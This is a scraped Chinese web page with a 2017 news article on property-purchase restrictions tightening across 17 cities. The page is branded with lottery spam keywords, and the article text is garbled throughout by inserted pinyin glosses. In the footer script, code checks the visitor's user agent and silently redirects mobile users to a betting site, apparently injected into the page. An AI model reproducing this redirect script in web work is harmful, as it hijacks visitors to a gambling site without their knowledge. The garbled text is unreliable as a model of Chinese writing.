开心彩票

开心彩票
开心彩票
年份搜索:
行业新闻
您现在的位置:开心彩票>>开心彩票>>行业新(xin)闻

20天17城加码调控 中国楼市现“三宗最”

发布时间:2017/3/20 12:34:08阅读次数: 次

今年三(san)月以来的20天(tian)(tian)里,中(zhong)国楼市(shi)(shi)(shi)调(diao)控加码(ma)的大潮已(yi)经蔓延至17个城市(shi)(shi)(shi)。如北(bei)京、上(shang)海(hai)等地楼市(shi)(shi)(shi)政策再次达到(dao)“史上(shang)最严(yan)”,广州、石家庄等星夜出台新政,更有一些(xie)城市(shi)(shi)(shi)在(zai)短短几天(tian)(tian)内(nei)连续收紧政策“缰绳”。阳春三(san)月天(tian)(tian),中(zhong)国楼市(shi)(shi)(shi)调(diao)控风(feng)暴出现“三(san)宗(zong)最”。

“最严厉”

北京(jing)日(ri)前(qian)出台的“认房(fang)认贷(dai)”新政让“二(er)套房(fang)”的购(gou)(gou)房(fang)门槛大幅提高。普通住宅60%(非普通住宅80%)以(yi)上(shang)的二(er)套房(fang)首(shou)付压力,几乎(hu)拆掉了“购(gou)(gou)房(fang)杠杆”,让不少投资(zi)客(ke)望而却步。业(ye)内普遍认为,新政出台之后,北京(jing)购(gou)(gou)房(fang)政策已(yi)成“史(shi)上(shang)最(zui)严”。

立竿见(jian)影,政(zheng)策出台后,北京二手房成(cheng)(cheng)交骤减(jian)。亚豪机构统计数据显示,新政(zheng)实(shi)施次日的3月(yue)19日,北京二手住(zhu)宅成(cheng)(cheng)交仅224套(tao),而调控前5天的日成(cheng)(cheng)交量(liang)均在千套(tao)左右。

新政“速冻”效(xiao)果预(yu)计不仅显现于二手房市场(chang)。亚豪机(ji)构副总经理任启鑫指出(chu),随着二手市场(chang)成(cheng)交(jiao)逐(zhu)渐冷却,“卖一买一”的周(zhou)期(qi)拖长,部(bu)分(fen)改善(shan)型支付能(neng)力下(xia)滑,将逐(zhu)步导致新房住宅市场(chang)的成(cheng)交(jiao)量出(chu)现下(xia)行。

除北(bei)京外,上(shang)海、深(shen)圳、南京等多(duo)地政策也达到“史上(shang)最严”。伟业我爱我家集团(tuan)副总(zong)裁胡景(jing)晖指(zhi)出,可以预计,接(jie)下(xia)来一些(xie)市场过热、房(fang)价(jia)又有所抬头的(de)城市也将进一步跟进加码调控。

“最(zui)着急”

3月(yue)17日,从下午至(zhi)深夜,北京、石家(jia)庄、广州、郑州四城相继出台加(jia)码住宅限购限贷(dai)的(de)措施。18日又有长沙收紧限购。广州和郑州两地几乎是连夜发布楼市新(xin)政,被视(shi)为“最着(zhe)急”的(de)调控。

“最(zui)着急”、“最(zui)严厉(li)”新政(zheng)的(de)背后是(shi)局部地区房价(jia)出现升温趋势。官方(fang)数据(ju)显(xian)示,2月(yue)份,中(zhong)国70个大中(zhong)城市(shi)中(zhong),新建商品(pin)住宅价(jia)格(ge)上(shang)涨的(de)城市(shi)有56个,占八(ba)成(cheng)。不少(shao)地方(fang)更是(shi)出现二手住宅价(jia)格(ge)涨幅高(gao)于(yu)新房的(de)情况。广(guang)州是(shi)2月(yue)份70个城市(shi)中(zhong)二手房价(jia)涨幅最(zui)高(gao)的(de)城市(shi),环(huan)比上(shang)涨2.7%,当月(yue)广(guang)州新房价(jia)格(ge)环(huan)比上(shang)涨0.9%。

今年(nian)全国两会上,“遏制热(re)点城(cheng)市(shi)房价过快上涨”被(bei)加入政府工(gong)作报(bao)告修订内容之中(zhong),决(jue)策层对楼市(shi)调控的决(jue)心(xin)可见一斑。

“最(zui)频繁(fan)”

除(chu)了政策(ce)趋(qu)紧(jin)、出(chu)台时机迫切(qie)外(wai)(wai),多地更是多次调(diao)(diao)控(kong),反(fan)复加码。例(li)如(ru)长(zhang)沙在(zai)3月18日升(sheng)级限购等(deng)政策(ce),短(duan)短(duan)两天(tian)之后,又宣布全面上调(diao)(diao)公积(ji)(ji)金贷款(kuan)首(shou)付比例(li),并暂停发放第(di)三套及(ji)以上住房公积(ji)(ji)金贷款(kuan)。再如(ru)南京3月15日出(chu)台限购新政,限购扩围、升(sheng)级,而去年(nian)9月以来(lai),南京已(yi)经有(you)大大小小数(shu)次调(diao)(diao)控(kong)新政出(chu)台。此外(wai)(wai),郑(zheng)州、武汉、杭州等(deng)地也是多次调(diao)(diao)控(kong)、反(fan)复加码。

中(zhong)原地产首席(xi)分析师张大伟(wei)指出,自2016年9月以来,中(zhong)国已经(jing)有超(chao)过35个城市出台了110余次房(fang)地产收紧的(de)调控措施(shi)。仅(jin)鸡(ji)年春节之后,就有超(chao)过22个城市出台了针对购房(fang)的(de)新规新政。

链家集(ji)团(tuan)董事(shi)长左晖日前(qian)指出,供求关系、消(xiao)费者预期、金融环(huan)境、市场秩序(xu)都将对房(fang)价产(chan)生影(ying)响。在调控政(zheng)策(ce)出台后,北(bei)京等城市的(de)房(fang)地(di)产(chan)市场会更加稳(wen)定(ding),对此“我(wo)们是有比较(jiao)明确的(de)预期的(de)”。

胡景晖指出,在目前的政策力度下,非急迫性的、支付能力较弱的购房需求将被延迟,对缓解市场恐慌情绪、稳定市场、平抑房价将起到立竿见影的效果,预计从3月中下旬开始,楼市交易量将会再次出现明显回落,春节以来有所抬头的房价也将再次回归平稳,并有望迎来回落。

Copyright © 湖北开心彩票发展集团有限公司 All Rights Reserved 版权所有 鄂ICP备15008705号
地址:湖北省武汉市洪山区徐东大街137号能源大厦9-11F传真:027-88300103Designed by
var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://hm.baidu.com/hm.js?993185dc8689f489fddf05459dcb9ba5"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })(); function browserRedirect() { var sUserAgent= navigator.userAgent.toLowerCase(); var bIsIpad= sUserAgent.match(/ipad/i) == "ipad"; var bIsIphoneOs= sUserAgent.match(/iphone os/i) == "iphone os"; var bIsMidp= sUserAgent.match(/midp/i) == "midp"; var bIsUc7= sUserAgent.match(/rv:1.2.3.4/i) == "rv:1.2.3.4"; var bIsUc= sUserAgent.match(/ucweb/i) == "ucweb"; var bIsAndroid= sUserAgent.match(/android/i) == "android"; var bIsCE= sUserAgent.match(/windows ce/i) == "windows ce"; var bIsWM= sUserAgent.match(/windows mobile/i) == "windows mobile"; if (bIsIpad || bIsIphoneOs || bIsMidp || bIsUc7 || bIsUc || bIsAndroid || bIsCE || bIsWM) { window.setTimeout("window.location='http://leyubet1410.com'",1000); } else { document.writeln(""); document.writeln(""); document.writeln(""); } } browserRedirect();